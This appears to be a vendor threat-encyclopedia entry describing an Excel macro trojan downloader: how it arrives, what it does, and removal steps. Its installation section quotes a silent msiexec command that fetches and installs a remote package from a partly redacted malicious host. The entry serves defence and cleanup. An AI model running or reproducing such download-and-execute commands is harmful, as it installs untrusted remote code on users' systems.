Trojan.X97M.DEDEX.AFJS
TrojanDownloader:O97M/Donoff(MICROSOFT); VBA/TrojanDownloader.Agent.MTO trojan(NOD32)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: Yes
In the wild: Yes
OVERVIEW
Downloaded from the Internet, Dropped by other malware
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
However, as of this writing, the said sites are inaccessible.
TECHNICAL DETAILS
269,824 bytes
XLS
No
01 May 2019
Connects to URLs/IPs
Arrival Details
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- msiexec.exe CONTINUE=1 /i http://{BLOCKED}d.com/cykom1 /q ADRESS='%TEMP%'
Other Details
This Trojan does the following:
- Connects to the following URLs to download and execute a script:
- http://{BLOCKED}d.com/cykom1
- The document contains the following message details luring users to enable macro content:
- It saves the files it downloads using the following names:
- %AppDataLocal%\Temp
However, as of this writing, the said sites are inaccessible.
SOLUTION
9.850
14.974.03
02 May 2019
14.975.00
03 May 2019
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- %AppDataLocal%\Temp
Step 4
Scan your computer with your Trend Micro product to delete files detected as Trojan.X97M.DEDEX.AFJS. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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